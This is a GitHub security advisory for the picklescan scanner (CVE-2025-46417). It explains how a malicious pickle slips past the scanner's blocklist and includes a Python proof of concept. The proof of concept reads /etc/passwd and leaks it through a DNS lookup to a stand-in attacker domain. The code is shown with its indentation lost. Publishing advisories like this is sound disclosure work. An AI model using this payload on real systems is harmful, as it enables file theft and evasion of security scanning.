GitHub Advisoryadvisory · PyPI
GHSA-93mv-x874-956g Picklescan Vulnerable to Exfiltration via DNS via linecache and ssl.get_server_certificate
HIGH
Official page ↗
- Aliases
- CVE-2025-46417
- Ecosystem
- PyPI
- Packages
- picklescan
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
- Weaknesses
- CWE-184
- Reviewed
- 2025-04-07
Affected packages
• PyPI picklescan: < 0.0.25 → fixed in 0.0.25
Description
Summary
Picklescan does not detect malicious pickles that exfiltrate sensitive information via DNS after deserialization.
Details
picklescan’s blacklist can be bypassed to exfiltrate sensitive information (like file contents, secrets, or credentials) during model deserialization by leveraging `ssl.get_server_certificate` as the callable function in the pickle payload. Since `ssl` is a standard Python library used for legitimate TLS operations, it is rarely blacklisted by static scanners or runtime monitors.
The payload avoids flagged modules and instead uses `linecache` (also unflagged) to read local files. The exfiltrated data is added to DNS-safe chunks, and embedded as subdomains in a crafted FQDN. When passed to `ssl.get_server_certificate`, the Python runtime performs a DNS resolution to the attacker-controlled domain, leaking the encoded content.
The payload executes the following steps:
• Reads sensitive local file content using `linecache` module
• Encodes the data for DNS exfiltration
• Constructs a malicious domain name using a third party service `dnslog.cn`
• Triggers a DNS resolution via `ssl.get_server_certificate`
• Leaks the encoded file content to the attacker
PoC
Before running the PoC change the `fqdn` to your own or a third party that you control. In this PoC we used ` fqdn = f"{subdomain}.ctmc2q.dnslog.cn"`.
```python
import numpy as np
def create_malicious_model():
Define the payload class
class DNSLogPayload:
def __reduce__(self):
# Step 1: read a line from /etc/passwd
linecache = __import__("linecache")
first_line = linecache.getline("/etc/passwd", 1).strip()
# Step 2: Sanitize and embed it as a DNS subdomain
subdomain = first_line.replace(":", "_").replace("/", "_")
fqdn = f"{subdomain}.dns-logger.invalid"
# Step 3: Use ssl.get_server_certificate to trigger DNS resolution
ssl_mod = __import__("ssl")
return (getattr(ssl_mod, "get_server_certificate"), ((fqdn, 443),))
# Wrap the payload in a NumPy object array
arr = np.array([DNSLogPayload()], dtype=object)
# Save to .npy file
np.save("dnslog_trigger_payload.npy", arr, allow_pickle=True)
def load_model(model):
try:
return np.load(model, encoding="latin1", fix_imports=True, allow_pickle=1)
except Exception:
raise ValueError("Invalid file")
if __name__ == "__main__":
create_malicious_model()
model = "dnslog_trigger_payload.npy"
print("[i] Loading and executing the model")
data = load_model(model)
```
Impact
1. Evade detection: Bypasses the latest version of picklescan's blacklist.
2. Exfiltrate sensitive local files to an attacker controlled DNS
Related
Alias · CVE (1)
- CVE-2025-46417 The unsafe globals in Picklescan before 0.0.25 do not include ssl. vulnerability
Weakness · CWE (1)
- CWE-184 Incomplete List of Disallowed Inputs weakness
References
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-93mv-x874-956g web
- https://nvd.nist.gov/vuln/detail/CVE-2025-46417 advisory
- https://github.com/mmaitre314/picklescan/pull/40 web
- https://github.com/mmaitre314/picklescan package
- https://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2025-34.yaml web